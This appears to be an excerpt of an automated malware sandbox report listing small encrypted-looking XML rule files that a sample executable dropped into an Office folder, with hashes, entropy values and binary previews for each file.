Preview:	.<?....:z@..~%....3Na..K.......1..^...x.0.[@.t`......@'3.LZ..z.4......'...;........#)..[......r."..E...K..;/....O!.<.J.).m.v.D...Z..KipGK......F@...t..a.'.=..J8B.XZ...{.@\|t]...Iav.._Q.A..j.s..9..\&0....?...<..Q}....&E"mi>.l.8u..}.._....9.p+..D..OH.zy.W..PY&..+\}idl.\|:5P.s~\|.uIYl_7V..W...].-..:J.-.K.w...7.\|(y.D2.B.2nU9..x.....ui.J.B.e...X...........t..m.'\..-9K.<.#..}OxTu..y@...aW..............]j..Ny..hMe{#K.rW.A...}:.s=...A............A...K}.F..{.....p.i.mC...6..S(:+E...V..fY....4..Z`=.\.....c....>w....$.....-...91.....7]O;.mi...g.s=<X.......@..5...m{b.....\|......n...!....r..m.K.$.t)..p.t.Q...wy.q..4..x...?....$...?.H...F.7x.r.c....Oo...I..:X[...ZF#Ly.{5.X.t.....%PP]&...<........G6I.9j.1.Q..xUAJR.m..7......Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120631v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.684985885791985
Encrypted:	false
SSDEEP:	12:nMyPQkBZtfJR2Bz91JaIAWRB8iqSA/RpszsvTCXZO/JDEd4rONYYCFs1ns6FKwuI:GkB/RE71JPAW78czQwO/gXCFys+K1ObD
MD5:	CA27620D9D3C497282998340463F1C6F
SHA1:	1EBA7E201C59ECAD39F3D1A9295A00AE61A7FEFD
SHA-256:	9803EB3E30C11FF3B5FF3ADCA291F49C9F709C2D3C3E75D4A860388E4E39199A
SHA-512:	E5C18AE44F675445FDFF8AF13D2D276537A13909F297E2468BA51FEDC8DCB121790DC3C8FFDA92ED1546C3DFEDF446C2CF99135E26A75FDF610F1BCC74F55CC6
Malicious:	false
Preview:	.<?}...!.+.'...H.+7.H..6;...._k.J.i..b..{..{.."......z5.z.N..F.2P4/d.E...l.....\|Y....jw......Q0.C..n...v.....GA.E...x.\|..ZD%.WP_3.,W.....J.X.A..).X.^m.......x.[]. .q.n...6_...gr....I..?..!...g.E..:..ZGZX..M.....6.R...s.&.-Qv.......j,.Z........mAx.7.LY....r..^...9jSw!m\S.h..=.=B.....8..[:......pX.p.F@.W....m..A.O..}<.>]f[..T..!...../..k.+Z.....-5..Pm.Z.H.s~.2......B6.!....W/G..i..\.aT...APW...nC..c}.w..B5.wu4.^O...k_...fJ.M.u..,Y*..{.8....l.pY.p.y..:...7...;...C...d..j....l.....~B4......[I9fOf,.~pc...i....>.>..,...y..?....y.}@cZ...".S.......Q..<nu...1-..!Kw.p...,.c...._..H.....t..{\.$.-R.........&m....2...a....BR..h...x.8..V...a..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120632v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.73276056343299
Encrypted:	false
SSDEEP:	12:qnO/BM/tfhIDKpcH4M0o4eLPuksxl5hCgJa1Ad/gNhVHm/ffVkKbrgCEF5yQ9exT:RMNWWgzDKx/Fgs/fOMLKyiexA1ObD
MD5:	87C074904A9C5C2C776578100EC282F1
SHA1:	B177A0732A7545E741EB31B1060AA7DC48862906
SHA-256:	58453DBAE0EA5785B18B743334C060D3DD4372B3DFC836EC7CF23603D7FC19E7
SHA-512:	42FF9AD678CA47565785413AFE66EA0EFFC6A72B083F71C89435EE2221F618843844EAF6BBF3F9BCFC3A035C639DCFA46D1806B93C990EC08D12AD3247919665
Malicious:	false
Preview:	.<?.c.......S....A.'..>...X35a==t..a..b.%..Rz...$E....'h.dC=..Ws....@...9h.f......Up....[C#}`..Sj8cF]5P....U.....,Q._>.....73v6....q....>.....y...s.;c^oT.I...a...oLK..{\b,a.b4oU....SQ..O/.pt.Xs8....<.\.\..f.c@\D..2.v....`...\|.8...V.I(5.'_.]\cp7.g.....'.x........3.,=....`.;..R........3x...WH1.....~.........Y.....&.'C..X...G.cw..[.KP.L..0..@.....[E...Q.zr.........-X....5pU..T.....I.9.I.>\|.04..........).............5...:./..A..S....Xnq...z{..._.F.N...[K..8cs....5....\|Fon"..J.W.2.7[G.Ux.C.....g@.vE>P..O.FM..b..t\.....B......`.oR.U=.....).......y...h....1.V... .....Mh.<.\|.j.B.A/b.........3..m.,.D6.w.f..a..d0...\|.6.dM..V....tv."...Ga.*`.Uv`R....k...L..I.......0.i.k.C...o..?4s...MKkZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120633v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.675566856724947
Encrypted:	false
SSDEEP:	12:liHthAfeMaRcE0a+yD6euPF8gxAits2+KixGDTsPW/mToDDkXUdZryuOcii9a:lathAGfUQgPWOAits2MxGDTX7fkEdZbI
MD5:	41D4242F789A0C45AD11C910EDBEE8A2
SHA1:	1E78C278345128E6DF282860DF244C068495061D
SHA-256:	E76DC5D242B25D8C018830D7BF9BD7EEA518B6EDBD6383E0E873E630791BE57D
SHA-512:	62643B41E6746729773BF3AB251CEAA1C142CC681AB0A8B5B9BF4394B94BD5E908F98FA97EEE6B6313A48E7176CC8B7C5FAC47A4A823636573914BDC8AD5DE9C
Malicious:	false
Preview:	.<?.:..{.m.$;.Y..EJ%...k...Y..f".$..nt...._.4..(.0o.).Y.3Uwl....@P.w.Z.~.....s......`.......,...?.\.N.A[..s........jA$.U'...j\|.X..ii..(.%7..W/Z..n...~b+.....~s'...5s..R]...V.Z.f...I.?z6.\|.....dQ..A.....j.k.].S;.>:..9{f&o..EE....l.ao..d.yt.......;...p..BJ\...;........P............4,...f.[...j..KC..U.....\.+..UM?IKv=!...Wx.C........>-@2..:..`i......4.X9.2..:U.S~.6.@$.S...g.$.k6Y.=;V$G"....'...~.?...+D.(..2M..m.7H\FOT....G..(aE.b.....S...q:r.%o.z....\Z.u..qz..@....T..+....2.7?...o...3W.W..Aa........%.*>...G.....:`..,.&........8p"]....w...um.....J.p.. ..Y...q...wP..T..E..#D...'.=..9...AK2g[^r..f$....I..#0..1..E.R..j.s...^..W..=OZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120634v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	828
Entropy (8bit):	7.735797642887752
Encrypted:	false
SSDEEP:	12:bBwtvwjeOXU7ou83q61mmBbnldNaX63Etlp4vaaVmZjbgzr6NgetHuOcii9a:bO8Couu1TBbroX63s2yAUsrOtOObD
MD5:	F99D3CE545B957B606C56FBABDA2B569
SHA1:	DE9A234D80AE9E1AA63D6E754D019D11E41AF611
SHA-256:	D37336FD2A00B3946F90971752DF75608A25C7380C092F8BEFB7E75826524632
SHA-512:	A6FD3B999C53A7DF8B4229722E33B2405FDEAAB45BD2ECF866E7F9BCB2EA257B8F750028BFB35BA42B13AD1EF5D462A67D7AFF98322168F1EA9E4D2D57105930
Malicious:	false
Preview:	.<?j....&..j.@..yJ<s...e...%.2./.o..&YJ....=>....../...w.......#...T,.m`.;......h..t...C...........>......G-YLn....T..vr.n.5.r.p?.^..03.7E..p..m..U....b....n...m.6....).2._k..!~...*0[.W..Y5Iu....g..Z..7.v.uy[.uA..1...x6....:#.....yL_.Z.0I.....\e..m....5..PZ.R..x`.ZG3..E-."..';.1....J.-.....!.!N}.....9......Ks........."v`..L.#wtS.,..G..}...{..SF3.h..?..c........./]...t.....kY%..d..H..`....h........>?q.w..\|F\.T0...d...=...d.&...Uw..y\|.......O.x1....6......JWx9^.s..Y.P3!...G.....$..%=......b.5.,\|D......!......'5...6g.>...\.....8}....&+......iF.?......_.E.I.H.......X..@...`.9-.G.. ......3F..V...RZ..$....../8....u.......w.J....r..u.d....<"...;...N8`...'%.#9......#l.03..c...t.%.u.E..].v..~........:.vZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120635v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	754
Entropy (8bit):	7.699412060509562
Encrypted:	false
SSDEEP:	12:jfYV+XH3nvZ99nzuVXMq0NVu9w08MZBe71DjeiVSbfAkHMu9qHCUDFQuOcii9a:jfYY3vDpwcq0GXe7190JMw2VObD
MD5:	40A570BED6D73204485B0FF99F0B6684
SHA1:	2042A1EB437A36853E8545E4B5E84475DE9DF529
SHA-256:	1ACD201AB5F9C837100F9DCA3508B18A563B48354464E2A065983ADB78AD3FF5
SHA-512:	566C7DE84F705CE4533FE797709B333DEF111656AF06CB9B566CB4B80CBFCECD7E544BB319E3D5FCA3ED80C8108607F85744518FF0DFA2B1753A051194E242D9
Malicious:	false
Preview:	.<?.X..q.d.^5S2.3.........W.@...,...N....2..o%.O...$....~SR..y...[-..2.On....".'h..aU.&..>uN..#o..N....>..[....d.K`.<.ZW...M.4.fEVh\|.V.......\Z......%X......G.~.@..2...O....F......E$?3it.e...H../q.F9Jx.......O..=1..6.S..:.t%9.a..?..$.<p.0.....,..T...s(&......B..KP8JD.o$....!4....d..nm.:.s....k..X7.k........\.2x..y..8.vhG...D...Z.....0.q....,6.f>.`N;WsP..*.9.m..y.n...<7.8.p.O5.b.h.........,..f...{...<g.`k!..ut...._w..b.A..L)S.6....(YE..L...N......J..=e.0...6.$.v.l.QW.<..Ha.....E...).^.te...b#(....yBE..n:.4....uC/P..<...2...k.{......GKXdm.K..<A;qV..c.-.CtM]....S.Hlh....5...&.....~....w...H..I.V{..j......{Z.....).........x\\|.....uZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120636v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.735223501317662
Encrypted:	false
SSDEEP:	24:PdvlUYs4qGELnaVWOIKpfLtNyeBMh6qfDgWgYVNObD:PdtUY1knazICBzU6LYVyD
MD5:	3BBB90842C827682C2A88EE276DFAA7E
SHA1:	EA2E1DC99A3E43CF9652896EA05365A97C1F267D
SHA-256:	AC0B1C1A88BE529A522090F65D976C0CF3A9867A085C12EEAF91A4608B4A2BFB
SHA-512:	EB549E2FC73AE37F2D9EDC390BFA0706400F9262E130B4618DA9D1FC5113F6645FCCF70DC2F547AE62882FFC119CBB2697AC1203C0FC89BB91BED7CEE65D6506
Malicious:	false
Preview:	.<?e.l. ..r....3...,..qw.U...\|...V.....T.8Tg....o.IXY;....Q0.....-...nF...t..Zq..!tD.....T.:.y..?>..oB..tj.).;... T..Xd.v....c..w.....N...=m!....n.X.OL....a..v&./.i.....A.f..>......M..j..E.%...f.A..N.E.z.HU.^.\.4..<...kZ.e1.^........h.....2.y..f;.:.u...J..<...{}..d'..g..-:S......WA9..`.....)........Y..:..izG....4.:...z......,x\.ym...ddK..p'...#P.....s.\|...jR.hF...Ls3.`...X...^1..n...4.{O......#...p..]...."..$.'......%Z.Y(.d......E-.-..X@.....:..6..M.211.B.....t..............!`..Op)L.L..xf.N.4.......(Yf...c.".R.@.7%\|Q{..0..[V.L..T.......Ws..8&...(.....<..Y:..U.-pY...sV....<~1..rI.....q.5..8ni...h.A...H.B88....^.-..$F......0.mC.J{..eJe@..q....Q9..&2.)...B'...Z...y...{..8@..U..*w9.......5Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120637v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.740509634940913
Encrypted:	false
SSDEEP:	12:oQgy1lyzsfjxaaupnaqDqu6WgE6a6EqH4ZwrWP45paEdd8QgcoR1ECpLuOcii9a:oGfjApdgRE6a6rI45pBtZoR1BaObD
MD5:	3C80E1D86D89BEA64462FD3FA22814AA
SHA1:	CD5631EB94818E44937B29AED48FD4F7FF76192F
SHA-256:	C686F927F551BD15E7D86F9D34DC0BB52938780BE162221A51B1162A89850F28
SHA-512:	9343A1BDFD5A5F3ECAF0BADB84B67BBD91D245E61E26828691606D2172B820634EF861683CD7556FC3F8038EF392A03859DA5B76F70A43FB033CF8EE153D5D35
Malicious:	false
Preview:	.<?R...1......#47'.'.I.]..mQ.Um...XO....hz..m.`.......EL@...9}0$.H..F..8I.R>.........c.k~..1.o.<....o....Y.....J..\h.Z.....E..y{...G.oc.^.J9.M.!J..../......[....ghK...m...1......A.CJ..........n.7.Gx.......5.RH..N......x...._..-.vV}?.S.......{^w....3..$.q........G.@3...._e.b!LL!.s..zMI..Z...s....h2.~.l...k....).~.WvEf..fJ.U...{p..."?.>.5.kM...:.@....."tE...>...C.+F..C]...$0..LR......WTs.v.c!.U..c..y..`.c_...Z.I.=..=....Q..s..\|P....^..^.t.....B.Jg"d[...m..i.....^..;JP.9..vd..?...x...uG..s}j...@z..y...#..h....h...!...`.....Myq&.....e..y....R,.ZH...`+4L(...(..\|..Zi.....M?......_....i.cu.....Rg`.T..f-i.b."..Y@.......d.3..n..%..G}.)."........:Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120638v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.754228366353617
Encrypted:	false
SSDEEP:	24:028rC8OzytwCu2iz7Eve4fFEZVzZhGKDObD:58m8Opf7EGSFOZhGK4D
MD5:	B7FA1CC6D67BDEEDD4AAD43DC805C1A9
SHA1:	BA100AAF5A691D41C152EEE880B60740F97AF180
SHA-256:	07E0A05DE84DE30653B4D119873A603C4B7431BCBD67697B936D438319763DAD
SHA-512:	81B2F9541C57FE03B69F00F40E6C7ACB3C0C2F9D13CF2C66C92817F962220DA86ED19A84BB0EE89CE9C20AA696A431A5FDD92605BB25D5E7CDF1A5B1EB14EBFE
Malicious:	false
Preview:	.<?.C...aZ.+..v...y.........S..)."..@...xH.g..M%\.G.5.. ...{.$.4......7.?...ob....Q.a%........$.H.&a... .k..+..^.>GB'..@T..>j.6..3...[.J.%..r#...`x.buw..s.n:X.zI.,.7....(.u,.I..7....ly...........".....@....E.jt....U...&..T..W.p.4....9.b.o;...xh....%.w&.y9....G..^....#`;y..$.C..q....b. ......z..e6.........fm.#.d[..$X'.,[..Z1.Y..V.\lNCq....x.;.r..b1,V....E.!.q.np8FKz.SM....rA......g.h..JnXr.P+..cm.@..'..Z.....p...X..+..w.Y......T...jL`&..\|y.^(.,...?!..o....8.?..p....Y^\|..VGkD....~.n..M.....5.a..n..:.#n.....(.5..V..>.../g..:Wk........ 2.z.@.......K./...0Sn.#....._.a.....-...p9(.I.B...c.L..l.m.U... ....a.....,......^. ..#....I4..-..{h."...1.........T...Imv..T.u<A...2./..h9G.c.8@.pH..ld....s......Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120639v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	757
Entropy (8bit):	7.734942977137166
Encrypted:	false
SSDEEP:	12:Vt4rV9YvI+Dlm8hBLV5Hu53W8uw5rwts4kRLl0KjEY0yrZEvq+4U2tCmuOcii9a:VtaYrBrHOL5r19j0Kh6vFYtCjObD
MD5:	D25853314CFE699A60D73C083B36F4D6
SHA1:	B56832778E436060A78B1D0C62D87FFACAA444CE
SHA-256:	E3D285F54161F2222A81D8EFB16E2A484FEE11996EBB777774BB8375696E80E1
SHA-512:	E3658103BF1CEC8519D1801C9577CF32F7590F32173E4D5F1ECF6B3C2BE3DA486C6E3F15818C7AF109DF4EB6F0C3D44EBEC29DBD239EC2CF4520044BED68661A
Malicious:	false
Preview:	.<?O.dQ.x.r)%.w(59..{..+...w.c.....}........<.......t.%...M...(!!.....k>....90^'.[.mH/..FN.m~B..{......%.&....[.z.(.S.......+~a.k..9y....V. .w{.i6.W.s....a#.z...1h...3..n2Gu.ddP...q.......l......4:,.(?.....\|..`...fY.......1..'i.....2.....cI.a....S..9../SO.S(..>..P...wH..F%C*[.5O...S....o....rI...y..;.L$.,...FK.Z.f...N..~...J.........8.....\..U........G.4....n..G.4..D.{Cy..0...y.1b.._..7...._^...g..QAC.....Y:....Y..\|...?i\D.....T7.t...~6W.n...t.".tr...oH..?.1.8r..z...=Yk.Ho........N.....?....h.F..V.P^.P%s_...+7..Eq`.]..em.>.].....3.H...F}Qp.... ..?....;.pQ)EJ..`......va.Z...=...#.P......#n..2m....K.i..q./.....XO0h)...~....NFZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120640v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.73939129555581
Encrypted:	false
SSDEEP:	24:ByVUSumG1qFvhvDzJg4BtwSZtG+205E4nRgFRObD:J1kpvHK4BtwSvG54nRggD
MD5:	D3E63043149BBB583FE2C4E0B7B8E524
SHA1:	40A0DF1E1A22DFCBAEEE22DEE68B92EDCFDE6E4C
SHA-256:	53213AEF43A728D0245B23A40AE6C824B7B6E3B446AA479EF31D942B45ECD947
SHA-512:	BF23537E5D6F9E22313A1228FC51CB3171ED2449D88215C5E893C084715B890D54C09B744BD8BE907298DD2F7EDFA2EB4BDD6092909DC837C50C1F7EC0EFA49D
Malicious:	false
Preview:	.<?..).....'\k.Fi..../...BH.7.T....Yq..a.T.ds<..P8.?!.af`"?....>.\|.Mc.-....x..0%..9....'...D..G7G.?@M..Lu..q4^e.cC...gz'.YU.......v,.~...mFc.f8.~,.o...$7u..........A........m.m_.P.h.B.C../..S.......S.N.CF..Rh.e.."M.y.../.>....iu.\|....C65V2..%............i.U..-.T...)6.!-bn.p...C@/..#..m.Hg..Bup..d....n....dQ....E>8>??.07j.J.......e...q).-..k....M..Uu..X\|o.f.W....#.@..m..c.:P8IW......[..g...[5,.ej.}.c......q...p;.zM....-.g.I...6q......i......(.8.b...@..(Q.....q.z..l_..s^..e..e.S.%...r......7...cQ?.(....W.......3....9REb.}..9~..q...wF..lo..9.H..yy~H. SQ..d.zC.)?.6..-..y._.Z7B.#..H.t.4... ..JM.8....<Ocn.....\|.6.....@.'m..a.dS..z.]......y.q.=....w.....$..4....../.x../E_.M..I.....a..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120641v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.716800854005386
Encrypted:	false
SSDEEP:	12:rL5AoSGcftHnaQ12Twa/3lrO1TtLgCBiqS++/D9J9xCWZc6tQPXxs3wuOcii9a:rL5AowhaQ12se1r2FgCBK/JEOwy1ObD
MD5:	AF7D9ED8D69F8897A2AAA6992A9D1052
SHA1:	0941B40251277463147810DC32F2BA0A8BDDD96E
SHA-256:	317E70C1522440A13B4DB26D411B85252B9216F882D4E695D65B4059AD053710
SHA-512:	8CC65D3C2DF6EC7DB33580A99D640B095F497E61DF7B1D616E05F8A1DEB3848882DCC1CAA1F81FCFA4631C0FAF300994467770793377EC8ECF371D622BCC52F6
Malicious:	false
Preview:	.<?...(.0.n.7..~.W.cc.....'G=../....}......C..(....k.D.z...O..&'%....._w[..0fE...Db.U.I..........Y..>..y@.;....#.M.s......vr}......h.X...e8...~?f.st.Y\|.C..^...M @.Op..y=...Mpz..X3)Y.,.,5.^Jt....O.. ...+t0J.>.{.Y@.0....(;...a.s.v...)9...u.H}...Z...=.........+..-\S.....C....F.S2..hh]..I^...E.i......8m/`/.h..rJ0.z.).....Z.t.....i...E`.4.O4...y...!.U..U....a.....UM.S..b)........C}.!...}.....J/.....p)i...O.A...Ah..6a...Ky..Q8.../.........u.S.....eG..6..[..RN.R.s....u.w...c(M.d,...^,.$6BG..b....<.\|(..t......*......z.....?..\..l.iU.....^.6...h.L....LG.W..Ue.....\|NGg&.r...xR.X...yR..U9.p.{.D.jc.n..........`..0...}c..../.yw..P..O MZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120642v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.7318221347118525
Encrypted:	false
SSDEEP:	12:cjgsCyC26apuHOULWvrzGgI70ZAeDZwp/P54+2PKMHjWVLx85gdFyH2aLuOcii9a:agEXpyOWCSQWSA2PKMHG85qFFdObD
MD5:	50D2793D9B36B8BD30A4D37E8BC12BF4
SHA1:	040EDEC349DB819F06F4A7D5FEB8B06B627D75B0
SHA-256:	5725ECDD9F5E4AF82C8AF91A29CF4EAF9B33C094C4E532A8E0620D303649BDC5
SHA-512:	2A2BAFEFC95BA8D4701AA26DE69D03BCB9F4FBE3100F73DC38A872FE9F9AC226D71AFD2786A6C8B07451EDC214BC54324B1308B2D17D5B1F960F8D3DAACB4328
Malicious:	false
Preview:	.<?dL..BHUv.s.....AO.....iW(.qr.zz..6..+..a......B.....9.....+.]..AW..`.(c......=.f...L....}.....4........3.~.N..D.+D...:KcQ..1q...A....7.(..m..V.D.jn.b..<$m.{....._.,..7..H....](.....o.e..e.?....O?.. ..tP.....o.,.e.?./.....?.5.._...N..=.2.f.W.e&.M...$l$[4.....a...M..ub.~.Nn.K......G.(=..X.F.y.J?....W.......d.{..g..........A..";jG.~.._.b..o...p.H.oN.........Sx}>. ...9.....V...O.^..%?...Ppo...6....B..2......z!.z.!..m.)u..v..&.2.....q..]..H..Cf.r..%..w.=.j.....{.....wE..#..1....B.R.......E@....;.lo....<.'.w.0.j.)........1..a....FFz...&..H.6.........t.......1..=......Y..w.'.&5..%(?...B_s.a#.....%,.<=........<.].ll..%T>..,.\|e.....a~_R.R.IY[{.....+R..q..Q.#4;-.a."#....Z>.4b.).N.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120643v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	734
Entropy (8bit):	7.7347277166504504
Encrypted:	false
SSDEEP:	12:2dkau6VcDp+DEw+3A9IkgU+TmIZM+Jzya/NbNWzYPWocZ1GW3WZnlUPbfuOcii9a:2d9cNU9PDIZM+JzpBqZZG1rObD
MD5:	75BC089CFADBDEC5DFA57210461AAABA
SHA1:	93014957DFCE4573909157B5F6B9E137E36C94FD
SHA-256:	692675201664D4311A827C3D881B2A3D2624B1517443B2EB80C1BCA39E448A8A
SHA-512:	BBF51543AF28DA7CE4E1D7A96354519DE178A6EC01DF1E0D75ACD81D19E7150077B3D1BAB2E27E6BB49908EB29A0430143ECAEFF28C12D1AA667683AA2822A1A
Malicious:	false
Preview:	.<?......%.....W..o..k........{.....N.h".z...J..\|.+...J.......CIp...C.X6........n.\w.......s..35...gC......[...,...u....!.gH..UM..n.....}..u.J..Q>$......4......* X.F..W@?..+.hd.SN.D.,e../DT.K.7../.2......i.K.kg.....\..=.......g.....KXxb...@!f8....7..K\M.}I'X.:nD..\|......v.............2.`..g.v....{....+%...<...m....0.?[.Y..qW1.....;..;...O..PA.......`..&...cn....m..(F..?....@Bm....^.'.-..;.a.h%j...{..H}..ML..F5....Q.+...B2.<....gU.(/...>......>....`.s..u....n..P.:.\...<[...]....ud..=...{?...T./.......f...`...y*.\|..wdxF.l>+_4@...%....%.i.?..5.1...b..m..4..JS..?i:.....L..gy.......6E.{g\.2.P..J..<...?.0.M.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120646v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	809
Entropy (8bit):	7.695303644195577
Encrypted:	false
SSDEEP:	12:RyhvXJ02HmnjWOczlfgNPik1ae4IHN4/p8jeyBNhdAvIzwrvlvSidMuOcii9a:IpjmjJczm31aR6NfjVB7d/s1RTObD
MD5:	1D1B612F99AE4D8E7339A00B716A2298
SHA1:	0D58F593A52877F82325CBD4DB39B3F150458BE0
SHA-256:	45F4F4CE0EE790939419DC5DA54204CCF799BA83A4A6B2B71C8576B4CC688480
SHA-512:	3FBAC07F12A56DCB362E0E6FDEC21689CBA758DE943B8C7F5DF29180ED4383AAC74EDCCD8D033EB1ECF24C5B198B33622A80BCAD47739DA1B275F374964353DB
Malicious:	false
Preview:	.<?`.&Y.5......y...8..JX}.m.a.U\.C.&e...'...\|..l..<A.zGN.}.S.A-\......{V7.(......C#77}........%...h.W.D..dq...k...MH...h.g...{.i$.s...0.,...4.W\5.;:.Y..I.06-QEk.4..)....q...3;..F........x.e..J..w...u[..Zi.F+\|.....1,....N.4..5.y..#..]...9i..@.......r............z0o....l..]I(..C.}t.H.^..%..l..).wnNX....o.'r....Q....[DE.Cp....V...=.Gu.6.?A......2Y.0..e.%...w...<S.....a.%.R\|...Xw=.$#.s....4<.,....bW...xX....,..}..E?]U.e..-.T.4@.....+.z..a%Xw..-..m.GK.&Q........^..E]&.c.i!N8....w...1.....4#..@.xu.{0.#.[...M...+.3.q.r....^U5.^.rk{...N..L...5}y..a#.....E.G.....9-.'$..p....(......jg.Wr.......W.n...d..k.N8y...w..).O....u.../o.)......!u......@..P..y.o.s'.81[..f..G...P..`..2.....w..0.h..dZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120649v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	750
Entropy (8bit):	7.715879373070111
Encrypted:	false
SSDEEP:	12:xNxnTwN/wksaSrogPsS8V8criFSmjmSgrr3WmA/1wdLQew1QjqgtJkmebVgHET55:xHnTwWQS178RmrjiTtA/6ZW1uqkJkpbT
MD5:	73CF3402A038A2EC350B1EDDE32CC14D
SHA1:	C64BF95E4A22B8063C9E1757E7E6362C9D4D5756
SHA-256:	13831CA55F2DFB70EBBFCE6F603FF62B540DD739B5EB64E41D56DC171D8CA011
SHA-512:	41A92C48EB5468ED7188C36103F009116B45578EE9200FC8F6F9FF9D0B8FE37053240D5B0FC3FEA532F8E6758B1EE9585DC57A44D5476248A34CD5CCCB7CD837
Malicious:	false
Preview:	.<?&{,=B.......EI...X.&.I.D.d....\|..... G[E..-.i.....[2.p....:Q...i..n.Nb.v.E.?.f.....M......%-.....br.m,6..M^...ixO..tf...~.S.Ku.......qV.y=.....b.......I...R..")[.m.......w.....0Ry.._..E(..J...7.}....`Ej.vzlmO.H..?X...~...%j..B.6\|.K..fKZ.3..V:.....4.B.DC.$.>&I.......2s..7..+w\|)J..A....%.P..=D..>.?K...V........+K.v.sP..h0.w.D...y..........=u..6.2n.0D..f13..u.-.6....kF.w.DO........$w2.dd.^ls...t...;.c;.a..9`<...$. ..8.t.aeY.....#.J.....0..N.e....f....m..u...e."W.H...dZ..d.+.g0..[K\.+uN5.X....#Xi;s?[.....SQ..sA<1.V.h.ym..N.S..U..D..R.....P."........\Q.J.".+.c..x.C....._{........4}.e...R......sQa.k..xM.NzJAZ......!4.C2.*...W..%,.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120650v0.xml

Download File

